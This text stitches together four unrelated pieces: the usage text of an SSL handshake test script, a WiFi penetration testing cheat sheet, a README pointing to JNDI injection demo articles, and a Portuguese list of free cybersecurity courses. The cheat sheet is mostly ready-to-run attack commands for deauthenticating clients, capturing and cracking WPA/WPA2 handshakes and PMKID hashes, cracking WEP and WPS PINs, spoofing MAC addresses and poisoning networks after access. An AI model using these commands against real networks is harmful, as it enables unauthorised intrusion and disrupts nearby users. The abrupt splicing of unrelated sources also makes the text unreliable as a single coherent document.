usage: ./test_ssl_handshake.sh target[:port] [start]
[start] number of ciphers to start with (default 125)
--ciphers=FILE a file containing a list which ciphers to use
--cipherstring=CIPHERSTRING
cipherstring (default )
-f | --force continue even though the error has been detected
--iterate iterate through all the ciphers instead of adding
--openssl=FILE location of openssl (default )
-v | --verbose be more verbose, please
tests:
--128 test for 128 cipherlimit
--intolerant test for version intolerant server
--rsa test for RSA order sensitivity
by default, all tests will be performed
```
|
# WiFi Penetration Testing Cheat Sheet
This is more of a checklist for myself. May contain useful tips and tricks.
Everything was tested on Kali Linux v2021.4 (64-bit) and WiFi Pineapple Mark VII Basic with the firmware v1.0.2.
Everything was tested on Kali Linux v2021.4 (64-bit) and WiFi Pineapple NANO with the firmware v2.7.0.
For help with any of the tools type `<tool_name> [-h | -hh | --help]` or `man <tool_name>`.
Sometimes `-h` can be mistaken for a host or some other option. If that's the case, use `-hh` or `--help` instead, or read the manual with `man`.
Websites that you should use while writing the report:
* [cwe.mitre.org/data](https://cwe.mitre.org/data)
* [owasp.org/projects](https://owasp.org/projects)
* [cheatsheetseries.owasp.org](https://cheatsheetseries.owasp.org/Glossary.html)
* [nvd.nist.gov/vuln-metrics/cvss/v3-calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
* [nvd.nist.gov/ncp/repository](https://nvd.nist.gov/ncp/repository)
* [attack.mitre.org](https://attack.mitre.org)
Check the most popular tool for auditing wireless networks [v1s1t0r1sh3r3/airgeddon](https://github.com/v1s1t0r1sh3r3/airgeddon). Credits to the author!
Future plans:
* fake AP with RADIUS to crack the WPA2 Enterprise authentication.
My other cheat sheets:
* [Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/penetration-testing-cheat-sheet)
* [iOS Penetration Testing Cheat Sheet](https://github.com/ivan-sincek/ios-penetration-testing-cheat-sheet)
* [Android Testing Cheat Sheet](https://github.com/ivan-sincek/android-penetration-testing-cheat-sheet)
## Table of Contents
**1. [Configuration](#1-configuration)**
**2. [Monitoring](#2-monitoring)**
**3. [Cracking](#3-cracking)**
* [WPA/WPA2 Handshake](#wpawpa2-handshake) (WPA/WPA2)
* [PMKID Attack](#pmkid-attack) (WPA/WPA2)
* [ARP Request Replay Attack](#arp-request-replay-attack) (WEP)
* [Hitre Attack](#hitre-attack) (WEP)
* [WPS PIN](#wps-pin)
**4. [Wordlists](#4-wordlists)**
**5. [Post-Exploitation](#5-post-exploitation)**
**6. [Evil-Twin](#6-evil-twin)**
## 1. Configuration
View the configuration of network interfaces:
```bash
ifconfig && iwconfig && airmon-ng
```
Turn a network interface on/off:
```fundamental
ifconfig wlan0 up
ifconfig wlan0 down
```
Restart the network manager:
```fundamental
service NetworkManager restart
```
Check the WLAN regulatory domain:
```fundamental
iw reg get
```
Set the WLAN regulatory domain:
```fundamental
iw reg set HR
```
Turn the power of a wireless interface up/down (too high can be illegal in some countries):
```fundamental
iwconfig wlan0 txpower 40
```
## 2. Monitoring
Set a wireless network interface to the monitoring mode:
```bash
airmon-ng start wlan0
ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up
```
Set a wireless network interface to the monitoring mode on a specified channel:
```fundamental
airmon-ng start wlan0 8
iwconfig wlan0 channel 8
```
\[Optional\] Kill services that might interfere with wireless network interfaces in the monitoring mode:
```fundamental
airmon-ng check kill
```
Set a wireless network interface back to the managed mode:
```bash
airmon-ng stop wlan0mon
ifconfig wlan0 down && iwconfig wlan0 mode managed && ifconfig wlan0 up
```
Search for WiFi networks within your range:
```fundamental
airodump-ng --wps -w airodump_sweep_results wlan0mon
wash -a -i wlan0mon
```
\[Optional\] Install `reaver/wash` on WiFi Pineapple Mark VII:
```bash
opkg update && opkg install libpcap reaver
```
\[Optional\] Install `reaver/wash` on WiFi Pineapple Nano:
```bash
opkg update && opkg install libpcap && opkg -d sd install wash
```
Monitor a WiFi network to capture handshakes/requests:
```fundamental
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF
```
If you specified the output file, don't forget to stop `airodump-ng` after you are done monitoring because it will fill up all your free storage space with a large PCAP file.
Use [Kismet](https://github.com/ivan-sincek/evil-twin#additional-kismet) or WiFi Pineapple to find more information about wireless access points, e.g. their MAC address, vendor's name, etc.
## 3. Cracking
Check if a wireless interface supports packet injection:
```fundamental
aireplay-ng --test wlan1 -e essid -a FF:FF:FF:FF:FF:FF
```
### WPA/WPA2 Handshake
Monitor a WiFi network to capture a WPA/WPA2 4-way handshake:
```fundamental
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF
```
\[Optional\] Deauthenticate clients from a WiFi network:
```fundamental
aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF
```
Start the dictionary attack against a WPA/WPA2 handshake:
```fundamental
aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF -w rockyou.txt airodump_essid_results*.cap
```
### PMKID Attack
Crack the WPA/WPA2 authentication without deauthenticating clients.
Install required tools on Kali Linux:
```bash
apt-get update && apt-get -y install hcxtools
```
\[Optional\] Install required tool on WiFi Pineapple Mark VII:
```bash
opkg update && opkg install hcxdumptool
```
\[Optional\] Install required tool on WiFi Pineapple Nano:
```bash
opkg update && opkg -d sd install hcxdumptool
```
Start capturing PMKID hashes for all nearby networks:
```fundamental
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon
```
\[Optional\] Start capturing PMKID hashes for specified WiFi networks:
```bash
echo HH:HH:HH:HH:HH:HH | sed 's/\://g' >> filter.txt
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist_ap=filter.txt --filtermode=2
```
Sometimes it can take hours to capture a single PMKID hash.
Extract PMKID hashes from a PCAP file:
```fundamental
hcxpcaptool hcxdumptool_results.cap -k hashes.txt
```
Start the dictionary attack against PMKID hashes:
```fundamental
hashcat -m 16800 -a 0 --session=cracking --force --status -O -o hashcat_results.txt hashes.txt rockyou.txt
```
Find out more about Hashcat from my other [project](https://github.com/ivan-sincek/penetration-testing-cheat-sheet#hashcat).
### ARP Request Replay Attack
If target WiFi network is not busy, it can take days to capture enough IVs to crack the WEP authentication.
Do the fake authentication to a WiFi network with non-existing MAC address and keep the connection alive:
```fundamental
aireplay-ng --fakeauth 6000 -o 1 -q 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF
```
If MAC address filtering is active, do the fake authentication to a WiFi network with an existing MAC address:
```fundamental
aireplay-ng --fakeauth 0 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF
```
To monitor the number of captured IVs, run `airodump-ng` against a WiFi network and watch the `#Data` column (try to capture around 100k IVs):
```fundamental
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF
```
Start the standard ARP request replaying against a WiFi network:
```fundamental
aireplay-ng --arpreplay wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF
```
\[Optional\] Deauthenticate clients from a WiFi network:
```fundamental
aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF
```
Crack the WEP authentication:
```fundamental
aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF replay_arp*.cap
```
### Hitre Attack
This attack targets clients, not wireless access points. You must know the SSIDs of your target's WiFi networks.
\[Optional\] Set up a fake WEP WiFi network if the real one is not present:
```fundamental
airbase-ng -W 1 -N wlan0mon -c 8 --essid essid -a FF:FF:FF:FF:FF:FF
```
If needed, turn up the power of a wireless network interface to missassociate clients to the fake WiFi network, see how in section [1. Configuration](#1-configuration).
Monitor the real/fake WiFi network to capture handshakes/requests:
```fundamental
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid FF:FF:FF:FF:FF:FF
```
Start replaying packets to clients within your range:
```fundamental
aireplay-ng --cfrag -D wlan1 -e essid -h FF:FF:FF:FF:FF:FF
```
\[Optional\] Deauthenticate clients from the real/fake WiFi network:
```fundamental
aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF
```
Crack the WEP authentication:
```fundamental
aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF airodump_essid_results*.cap
```
### WPS PIN
Crack a WPS PIN:
```fundamental
reaver -vv --pixie-dust -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF
```
Crack a WPS PIN with some delay between attempts:
```fundamental
reaver -vv --pixie-dust -N -L -d 5 -r 3:15 -T 0.5 -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF
```
## 4. Wordlists
You can find `rockyou.txt` inside `/usr/share/wordlists/` directory or inside [SecLists](https://github.com/danielmiessler/SecLists) - a useful collection of multiple types of wordlists for security assessments.
Install SecLists (the collection will be stored at `/usr/share/seclists/` directory):
```bash
apt-get update && apt-get install seclists
```
Another popular wordlist collections:
* [xmendez/wfuzz](https://github.com/xmendez/wfuzz)
* [assetnote/commonspeak2-wordlists](https://github.com/assetnote/commonspeak2-wordlists)
* [weakpass.com/wordlist](https://weakpass.com/wordlist)
* [packetstormsecurity.com/Crackers/wordlists](https://packetstormsecurity.com/Crackers/wordlists)
### Password Spraying
Find out how to generate a good password spraying wordlist from my other [project](https://github.com/ivan-sincek/wordlist-extender), but first you will need a few good keywords that describe your target.
Such keywords can be a company name, abbreviations, words that describe your target's services, products, etc.
After you generate the wordlist, use it with `aircrack-ng` to crack a WPA/WPA2 handshake.
If strong password policy is enforced, passwords usually start with one capitalized word followed by a few digits and one special character at the end (e.g. Password123!).
You can also use the generated wordlist with [Hashcat](https://github.com/ivan-sincek/penetration-testing-cheat-sheet#hashcat), e.g. to crack NTLMv2 hashes that you have collected using LLMNR responder, etc.
## 5. Post-Exploitation
If MAC address filtering is active, change the MAC address of a wireless interface to an existing one:
```fundamental
ifconfig wlan0 down && macchanger --mac FF:FF:FF:FF:FF:FF && ifconfig wlan0 up
```
Once you get an access to a WiFi network, run the following tools:
```fundamental
yersinia -G
responder -wF -i 192.168.8.5
wireshark
```
Find out how to pipe `tcpdump` from WiFi Pineapple to Wireshark from my other [poject](https://github.com/ivan-sincek/evil-twin#additional-sniff-wifi-network-traffic).
Try to access the wireless access point's web interface. Search the Internet for default paths and credentials.
Start scanning/enumerating the network.
## 6. Evil-Twin
Find out how to set up a fake authentication web page on a fake WiFi network with WiFi Pineapple Mark VII Basic from my other [project](https://github.com/ivan-sincek/evil-twin), as well as how to set up all the tools from this cheat sheet.
|
This repo is for the demos of JNDI injection series:
https://medium.com/bugbountywriteup/jndi-injection-series-rmi-vector-1-31044f782daa
https://medium.com/bugbountywriteup/jndi-injection-series-rmi-vector-dynamic-class-loading-from-remote-url-28dcbf9cee27
https://medium.com/bugbountywriteup/jndi-injection-series-rmi-vector-insecure-deserialization-9b7a4b524d1d
https://medium.com/@yany.dong/jndi-injection-series-rmi-vector-the-final-piece-of-the-puzzle-b6a65c4ab330
|
<p align="right">IT'S CURRENTLY A WIP - WORK IN PROGRESS</p>
# "Zero to Hero" "No Bull$h1t" em Segurança Cibernética
Cursos para fazer um "Zero to Hero" em Cyber Segurança **sem marketing**, vai ter que:
- estudar muito (estamos falando de um "Hero" né?)
- estudar coisas "não técnicas" e "não convencionais" (Qualidade = Hard Skills + Soft Skills)
- estudar mais de uma vez a mesma coisa (Saber = Repetir + Repetir + Repetir)
Ponto bom:
- Único investimento é o seu tempo, é tudo "na faixa", "de grátis", "sem custo de grana".
Disclaimer:
- **Ninguém precisa ser "Hero"**, mas lembre-se sempre da velha passagem (com tradução em seguida para a galera que ainda não começou o curso de inglês)
_"Be careful whose advice you buy, but be patient with those who supply it.
Advice is a form of nostalgia. Dispensing it is a way of fishing the past from the disposal,
wiping it off, painting over the ugly parts and recycling it for more than it's worth."_
_"Tenha cuidado com as pessoas que lhe dão conselhos, mas seja paciente com elas.
Conselho é uma forma de nostalgia. Dar conselhos é uma forma de resgatar o passado da lata de lixo,
limpa-lo, esconder as partes feias e reciclá-lo por um preço maior do que realmente vale."_
<p align="right">Sunscreen (Everybody's Free) - Baz Luhrmann</p>
Sem mais delongas, te desejo bons estudos!
## Básico - 14 materiais
- Inglês
- [ ] Kultivi - Curso de inglês: https://kultivi.com/cursos/idiomas/ingles
- Português
- [ ] EV - Comunicação Escrita: https://www.ev.org.br/cursos/comunicacao-escrita
- Base de Computação
- [ ] Netacad - Get Connected: https://www.netacad.com/courses/os-it/get-connected
- [ ] FIAP - Gestão de Infraestrutura de TI: https://on.fiap.com.br/local/movimentobrasildigital/
- Segurança da informação geral
- [ ] FGV Nic.Br - Segurança Digital: https://educacao-executiva.fgv.br/cursos/online/curta-media-duracao-online/seguranca-digital
- [ ] FGV Nic.Br - Termos de Uso e Políticas de Privacidade: https://educacao-executiva.fgv.br/cursos/online/curta-media-duracao-online/termos-de-uso-e-politicas-de-privacidade
- [ ] Netacad - Introduction to Cybersecurity: https://www.netacad.com/courses/cybersecurity/introduction-cybersecurity
- Sistemas Operacionais Windows
- [ ] MSLearn - Path Microsoft 365 (9 Módulos): https://docs.microsoft.com/en-us/learn/paths/m365-getmodern/
- Sistemas Operacionais Linux
- [ ] Netacad - Linux Unhatched: https://www.netacad.com/courses/os-it/ndg-linux-unhatched
- Desenvolvimento de software
- [ ] Laracasts - PHP for Beginners: https://laracasts.com/series/php-for-beginners
- Bancos de dados
- [ ] Coursera Michigan - Introduction to SQL: https://www.coursera.org/learn/intro-sql
- [ ] Mosh - MySQL in 3 Hours: https://www.youtube.com/watch?v=7S_tz1z_5bA
- Soft Skills
- [ ] Coursera DTS - Learning How to Learn: https://www.coursera.org/learn/learning-how-to-learn
- [ ] FM2S - Criatividade: Princípios e Técnicas: https://ead.fm2s.com.br/curso/curso-de-criatividade-principios-e-abordagens/
## Iniciante - 17 materiais
- Português
- [ ] EV - Oficina de Gramática: https://www.ev.org.br/cursos/oficina-de-lingua-portuguesa-gramatica
- Base de computação
- [ ] edX Harvard - cs50x: https://www.edx.org/course/introduction-computer-science-harvardx-cs50x
- Base de Redes
- [ ] Netacad - CCNAv7 Introdução às Redes (pelo Nic.Br): https://cursoseventos.nic.br/curso/curso-ccna-intro-cisco-nicbr/
- Segurança da informação geral
- [ ] Netacad - Cybersecurity Essentials: https://www.netacad.com/courses/cybersecurity/cybersecurity-essentials
- [ ] SANS - CyberAces: https://www.sans.org/cyberaces/
- [ ] NIC.br - Tratamento de Incidentes de Segurança na Internet, explicado pelo NIC.br: https://youtu.be/flu6JPRHW04
- Sistemas Operacionais Windows
- [ ] MSLearn - Windows Deployment (5 Módulos): https://docs.microsoft.com/en-us/learn/paths/plan-your-windows-10-deployment-strategy/
- [ ] MSLearn - Windows Server (5 Módulos): https://docs.microsoft.com/en-us/learn/paths/windows-server-deployment-configuration-administration/
- Sistemas Operacionais Linux
- [ ] Linux Foundation - Introduction to Linux: https://training.linuxfoundation.org/training/introduction-to-linux/
- Sistemas de Firewall
- [ ] Jose Bravo - PFSense (43 Vídeos): https://www.youtube.com/watch?v=aRVJmlqXAdQ&list=PLHh9jhztlMypPs0EIcpHE5R-5sc27r4Bc
- Desenvolvimento de software
- [ ] Netacad - Python: https://www.netacad.com/courses/programming/pcap-programming-essentials-python
- [ ] Mosh - What is a REST API: https://www.youtube.com/watch?v=SLwpqD8n3d0
- Bancos de dados
- [ ] Coursera Michigan - Database Design PostgreSQL: https://www.coursera.org/learn/database-design-postgresql
- Ciência de dados
- [ ] Data Science Academy - Big Data Fundamentos 3.0: https://www.datascienceacademy.com.br/cursosgratuitos
- [ ] Data Science Academy - Inteligência Artificial Fundamentos 2.0: https://www.datascienceacademy.com.br/cursosgratuitos
- [ ] Data Science Academy - Introdução à Ciência de Dados 3.0: https://www.datascienceacademy.com.br/cursosgratuitos
- Soft Skills
- [ ] EV - Organizacao Pessoal: https://www.ev.org.br/cursos/organizacao-pessoal
## Iniciado - 25 materiais
- Português
- [ ] EV - Técnicas de Redação: https://www.ev.org.br/cursos/tecnicas-de-redacao
- Processos de TI
- [ ] LearnQuest Coursera - ITIL4: https://www.coursera.org/learn/itil-4-exam-preparation
- Base de Redes
- [ ] Netacad - CCNAv7 Switching, Routing e Wireless Essentials (pelo Nic.Br): https://cursoseventos.nic.br/curso/curso-ccna-srwe-cisco-nicbr/
- Base de Computação
- [ ] Princeton University Coursera - Computer Architecture: https://www.coursera.org/learn/comparch
- Base de computação em núvem
- [ ] FIAP - Cloud Fundamentals: https://on.fiap.com.br/local/movimentobrasildigital/
- Segurança da informação geral
- [ ] FIAP - Cybersecurity: https://on.fiap.com.br/local/movimentobrasildigital/
- [ ] AacadiTI - Network Defense Essentials: https://acaditi.com.br/essentials-series/#nde
- [ ] Coursera - New York University: https://www.coursera.org/specializations/intro-cyber-security
- [ ] Cert.br - Recomendações para Notificações de Incidentes de Segurança: https://www.cert.br/docs/whitepapers/notificacoes/
- [ ] SANS - The Cycle of Cyber Threat Intelligence: https://youtu.be/J7e74QLVxCk
- [ ] MITRE - Using ATT&CK for Cyber Threat Intelligence Training: https://attack.mitre.org/resources/training/cti/
- [ ] MITRE - Foundations of Operationalizing MITRE ATT&CK: https://academy.attackiq.com/courses/foundations-of-operationalizing-mitre-attck
- Pentest
- [ ] DESEC - Introducao Pentest: https://desecsecurity.com/curso/introducao-pentest
- Segurança Ofensiva
- [ ] AacadiTI - Ethical Hacking Essentials: https://acaditi.com.br/essentials-series/#ehe
- [ ] Portswigger Web Security Academy - Server-side topics (93 Labs): https://portswigger.net/web-security/learning-path
- Forense computacional
- [ ] AcadiTI - Digital Forensics Essentials: https://acaditi.com.br/essentials-series/#dfe
- [ ] BASIS - Intro to DFIR: https://dfir-training.basistech.com/courses/intro-to-divide-and-conquer
- Exercícios de "Capture the Flag"
- [ ] Beco do Exploit - Desafio#2: https://youtube.com/playlist?list=PLHBDBcFA_l_WBcUJWf8cp5BaPsUkquRQU
- Sistemas Operacionais Linux
- [ ] Aurélio - Portal do Shell: https://aurelio.net/shell/
- Sistemas Operacionais Windows
- [ ] MSLearn - PowerShell (6 Módulos): https://docs.microsoft.com/en-us/learn/paths/powershell/
- Desenvolvimento de software
- [ ] Netacad - JavaScript: https://www.netacad.com/courses/programming/javascript-essentials-1
- Caixa de Ferramentas
- [ ] Linux Foundation - Git: https://training.linuxfoundation.org/training/git-for-distributed-software-development-lfd109x/
- Ciência de dados
- [ ] Data Science Academy - Microsoft Power BI Para Data Science, Versão 2.0: https://www.datascienceacademy.com.br/cursosgratuitos
- Soft Skills
- [ ] FIAP - DevOps & Agile Culture: https://on.fiap.com.br/local/movimentobrasildigital/
- [ ] SrgioBuria - XGH Extreme Go Horse (como NÃO resolver as coisas em TI): https://pt.slideshare.net/SrgioBuria/xgh-extreme-go-horse
## Intermediário - 30 materiais
- Base de Redes
- [ ] Nic.Br - Curso Básico IPv6: https://cursoseventos.nic.br/curso/curso-basico-ipv6-ead/
- [ ] Netacad - CCNAv7 Enterprise Networking, Security, and Automation (pelo Nic.Br): https://cursoseventos.nic.br/curso/curso-ccna-ensa-cisco-nicbr
- Monitoramento de ambientes
- [ ] Elastic - Observability Fundamentals: https://www.elastic.co/training/observability-fundamentals
- [ ] Elastic - Kibana Fundamentals: https://www.elastic.co/training/kibana-fundamentals
- Segurança Ofensiva
- [ ] GoHacking - EHC2: https://www.youtube.com/watch?v=bUqu8fh7xUg
- [ ] Beco do Exploit - Hacking Dojo: https://becodoexploit.com/HackingDojo/
- [ ] Portswigger Web Security Academy - Client-side topics (93 Labs): https://portswigger.net/web-security/learning-path
- [ ] GoHacking - BugBounty: https://youtu.be/UHo9TLzJneM
- Segurança Defensiva
- [ ] GoHacking - Security Operations 101: https://youtu.be/jHr6o8_sKZo
- Sistemas de SIEM
- [ ] Jose Bravo - What is a SIEM? (5 Vídeos): https://www.youtube.com/watch?v=MtqFMe4zSpQ&list=PLHh9jhztlMyp8lyKXt9orVM57ygW_ihPS
- [ ] Cybrary - AlienVault OSSIM: https://www.cybrary.it/course/alienvault-ossim/
- [ ] Elastic - SIEM Fundamentals: https://www.elastic.co/training/elastic-security-fundamentals-siem
- Sistemas de Firewall
- [ ] Checkpoint edX - Network Security: https://www.edx.org/course/jump-start-network-security
- [ ] Checkpoint edX - Product Deployment: https://www.edx.org/course/jump-start-product-deployment
- Exercícios de "Capture the Flag"
- [ ] Over the Wire - Wargames: https://overthewire.org/wargames/
- Desenvolvimento de Software
- [ ] Hackaflag Papo Binário - Programação moderna em C: https://hackaflag.com.br/academy.html
- Base de engenharia reversa
- [ ] Hackaflag Papo Binário - Curso de Engenharia Reversa Online: https://hackaflag.com.br/academy.html
- Auditoria de segurança em Sistemas Operacionais
- [ ] IPPSec - Linux Logging with Auditd: https://www.youtube.com/watch?v=lc1i9h1GyMA
- [ ] Jose Bravo - Sysmon (36 Vídeos): https://www.youtube.com/watch?v=Xl31zNp4YUY&list=PLHh9jhztlMyrlWsozcrUEOvByfLJvRBDy
- Organização pessoal e postura
- [ ] EV - Comunicacao Empresarial: https://www.ev.org.br/cursos/comunicacao-empresarial
- Legislação
- [ ] ENAP SERPRO - Lei Brasileira de Proteção de Dados Pessoais: https://www.escolavirtual.gov.br/curso/603
- Caixa de Ferramentas
- [ ] Linux Foundation - Linux Tools: https://training.linuxfoundation.org/training/linux-tools-for-software-development-lfd108x/
- Introduçao a eletrônica digital
- [ ] Georgia Tech Coursera - Introduction to Electronics: https://www.coursera.org/learn/electronics
- [ ] Georgia Tech Coursera - Linear Circuits DC: https://www.coursera.org/learn/linear-circuits-dcanalysis
- [ ] Georgia Tech Coursera - Linear Circuits AC: https://www.coursera.org/learn/linear-circuits-ac-analysis
- [ ] UAB Coursera - Digital Systems: From Logic Gates to Processors: https://www.coursera.org/learn/digital-systems
- Soft Skills
- [ ] ENAP - Habilidades de Resolução de Problemas: https://www.escolavirtual.gov.br/curso/600
- [ ] Prime Cursos - Noções basicas de PNL: https://www.primecursos.com.br/nocoes-basicas-de-pnl/
- [ ] Cybrary - Social Engineering: https://www.cybrary.it/course/social-engineering/
- [ ] Sarah Granger - Social Engineering Fundamentals, Part I: Hacker Tactics: http://web.archive.org/web/20160425153636/http://www.symantec.com/connect/articles/social-engineering-fundamentals-part-i-hacker-tactics
- [ ] Sarah Granger - Social Engineering Fundamentals, Part II: Combat Strategies: https://web.archive.org/web/20140912061257/http://www.symantec.com/connect/articles/social-engineering-fundamentals-part-ii-combat-strategies
## Praticante - 27 materiais
- Exercícios de "Capture the Flag"
- [ ] Try Hack Me: https://tryhackme.com
- [ ] Hack The Box: https://www.hackthebox.eu
- Analise de vulnerabilidades
- [ ] Rapid7 - Fundamentals Vulnerability Risk Management: https://www.rapid7.com/fundamentals/vulnerabilities-exploits-threats/
- [ ] Tenable - Introduction to Tenable.sc: https://university.tenable.com/pubaccess/learn/course/internal/view/elearning/333/introduction-to-tenablesc
- Segurança da informaçao
- [ ] Cert.br - Honeypots e Honeynets: Definições e Aplicações: https://www.cert.br/docs/whitepapers/honeypots-honeynets/
- Segurança ofensiva em ambientes web
- [ ] Stanford - CS253 Web Security: https://web.stanford.edu/class/cs253/ (Vídeos das aulas: https://www.youtube.com/playlist?list=PL1y1iaEtjSYiiSGVlL1cHsXN_kvJOOhu-)
- [ ] Portswigger Web Security Academy - Advanced topics (93 Labs): https://portswigger.net/web-security/learning-path
- Ferramentas para Segurança Ofensiva
- [ ] Offensive Security - Metasploit Unleashed: https://www.offensive-security.com/metasploit-unleashed/
- [ ] GoHacking - Fundamentos de Análise de memória: https://youtu.be/Iz0Bh7L3iYM
- Sistemas de SIEM
- [ ] IPPSec - PowerSIEM Analyzing Sysmon Events with PowerShell: https://www.youtube.com/watch?v=MvfhIydxFmw
- [ ] Jose Bravo - QRadar (38 Vídeos): https://www.youtube.com/watch?v=P90e4iEJ32s&list=PLHh9jhztlMyqRRmj64BcVyNBkhApa_LIn
- Tecnologias de internet das coisas
- [ ] Netacad - Introduction to IoT: https://www.netacad.com/courses/iot/introduction-iot
- Desenvolvimento de software:
- [ ] edX - CS50’s Introduction to Programming with Python (CS50P): https://www.edx.org/professional-certificate/harvardx-computer-science-for-python-programming
- [ ] Mosh - Learn Node in 1 Hour: https://www.youtube.com/watch?v=TlB_eWDSMt4
- Base de Containers
- [ ] LINUXtips Descomplicando o Docker (50 vídeos): https://youtube.com/playlist?list=PLf-O3X2-mxDn1VpyU2q3fuI6YYeIWp5rR
- Técnicas de Segurança ofensiva
- [ ] Beco do Exploit - The Art of Bypass: https://www.youtube.com/watch?v=f0ErvZeTFVQ
- [ ] Beco do Exploit - Contra-inteligência em redes anônimas: https://www.youtube.com/watch?v=E4SYtCOYzQM
- Base de computação em núvem
- [ ] Skills Builder - AWS: https://explore.skillbuilder.aws/learn/course/external/view/elearning/134/aws-cloud-practitioner-essentials
- [ ] Coursera Google - GCP: https://www.coursera.org/learn/gcp-fundamentals
- [ ] Oracle Academy - OCI: https://mylearn.oracle.com/learning-path/become-an-oci-foundations-associate/98057
- MSLearn - Azure Fundamentals (6 Learning Paths):
- [ ] https://docs.microsoft.com/pt-br/learn/paths/az-900-describe-cloud-concepts/
- [ ] https://docs.microsoft.com/pt-br/learn/paths/az-900-describe-core-azure-services/
- [ ] https://docs.microsoft.com/pt-br/learn/paths/az-900-describe-core-solutions-management-tools-azure/
- [ ] https://docs.microsoft.com/pt-br/learn/paths/az-900-describe-general-security-network-security-features/
- [ ] https://docs.microsoft.com/pt-br/learn/paths/az-900-describe-identity-governance-privacy-compliance-features/
- [ ] https://docs.microsoft.com/pt-br/learn/paths/az-900-describe-azure-cost-management-service-level-agreements/
- Soft Skills
- [ ] FM2S - Introdução ao Lean: https://ead.fm2s.com.br/curso/introducao-ao-lean/
## Fluente - 17 materiais
- Tecnologias de internet das coisas
- [ ] UCI Coursera - Introduction to Programming the Internet of Things (4 Cursos): https://www.coursera.org/specializations/iot
- Sistemas de firewall
- [ ] Network Direction - Palo Alto Firewalls (8 Vídeos): https://www.youtube.com/playlist?list=PLDQaRcbiSnqFM4qcMEskn2k48LsUGKFga
- [ ] Network Direction - CISCO ASA Firewalls (8 Vídeos): https://www.youtube.com/playlist?list=PLDQaRcbiSnqHXo_r1scHZook0BAED5-YN
- Ferramentas para Pentest
- [ ] Ryan Basden - Pentesting Team Tools (Twitter Thread): https://twitter.com/_rybaz/status/1544661984666427394?t=gjK3lCt_siNz8SUO-zNhcg&s=19
- Sistemas de SIEM
- Splunk
- [ ] Praveen - Splunk for beginners: https://youtu.be/lIQJMjSlY8U
- Gestão de segurança da informação
- [ ] Cert.br - Criando um Grupo de Respostas a Incidentes de Segurança em Computadores: Um Processo para Iniciar a Implantação: https://www.cert.br/certcc/csirts/Creating-A-CSIRT-br.html
- Desenvolvimento de software
- [ ] GoHacking - Desenvolvimento seguro e DevSecOps: https://youtu.be/oZc0SNpdOaI
- [ ] Miguel Grinberg - Flask Mega Tutorial: https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world
- [ ] Oracle Academy - Java Explorer: https://learn.oracle.com/ols/learning-path/java-explorer/40805/79726
- [ ] Cybrary - Secure Coding: https://www.cybrary.it/course/secure-coding/
## Avançado - 7 materiais
- Segurança Ofensiva
- [ ] GoHacking - Atividades de pós exploracao: https://youtu.be/vCk3sAVRJSM
- [ ] GoHacking - Configurando Ambiente de Pentest em dispositivos móveis: https://youtu.be/n72AKrFBlj8
- Compartilhamento de informações
- [ ] FIRST - MISP General Usage Training - Part 1 of 2: https://www.youtube.com/watch?v=-NuODyh1YJE
- [ ] FIRST - MISP General Usage Training - Part 2 of 2: https://www.youtube.com/watch?v=LlKnh5b0bgw
- Tecnologias de rede
- [ ] Juniper - CCNA to JNCIA-Junos: https://learningportal.juniper.net/juniper/user_activity_info.aspx?id=EDU-JUN-WBT-JOL-CCNA-JNCIA-JUNOS
- [ ] Juniper - Security, Associate (JNCIA-SEC): https://learningportal.juniper.net/juniper/user_activity_info.aspx?id=EDU-JUN-WBT-JOL-JNCIA-SEC
- [ ] Network Direction - Voice Networks (VoIP): https://www.youtube.com/playlist?list=PLDQaRcbiSnqG0b2hevMJlEx62o8RnC41l
- Sistemas de SIEM
- ArcSight (2 séries/paylists de vídeos)
- [ ] Paul Brettle - What is Series: https://youtube.com/playlist?list=PL_JhopV-r9zLigctFEOzic-af0sEuHZ-x
- [ ] Paul Brettle - ArcSight ESM 101: https://youtube.com/playlist?list=PL_JhopV-r9zIXDz0pX2dmSJvBGVkczF5y
## Mestre - 6 materiais
- Threat Hunting
- [ ] Active Countermeasures - Cyber Threat Hunting Level 1: https://www.youtube.com/watch?v=UEOqTu8cJt0
- Analise de redes
- [ ] CERT NetSA - Network Traffic Analysis with SiLK: https://tools.netsa.cert.org/silk/analysis-handbook.pdf
- Analise de malware
- [ ] CERT.pl - Build Your Own Malware Analysis Pipeline Using New Open Source Tools: https://www.youtube.com/watch?v=dPwzF_hsCow
- Tecnologias de plataforma industrial
- [ ] CISA VLP - 210W-03 Common ICS Components: https://ics-training.inl.gov/learn/course/internal/view/elearning/60/210w-03-common-ics-components
- [ ] CISA VLP - 210W-02 Influence of IT Components on Industrial Control Systems: https://ics-training.inl.gov/learn/course/internal/view/elearning/47/210w-02-influence-of-it-components-on-industrial-control-systems
- [ ] CISA VLP - 100W Cybersecurity Practices for Industrial Control Systems: https://ics-training.inl.gov/learn/course/internal/view/elearning/45/100w-cybersecurity-practices-for-industrial-control-systems
- Tecnologias de plataforma alta (Mainframe)
- [ ] IBM Z Enterprise Computing Kickstart: https://www.ibm.com/academic/topic/ibm-z
- [ ] Introduction to the Mainframe: https://www.ibm.com/academic/topic/ibm-z
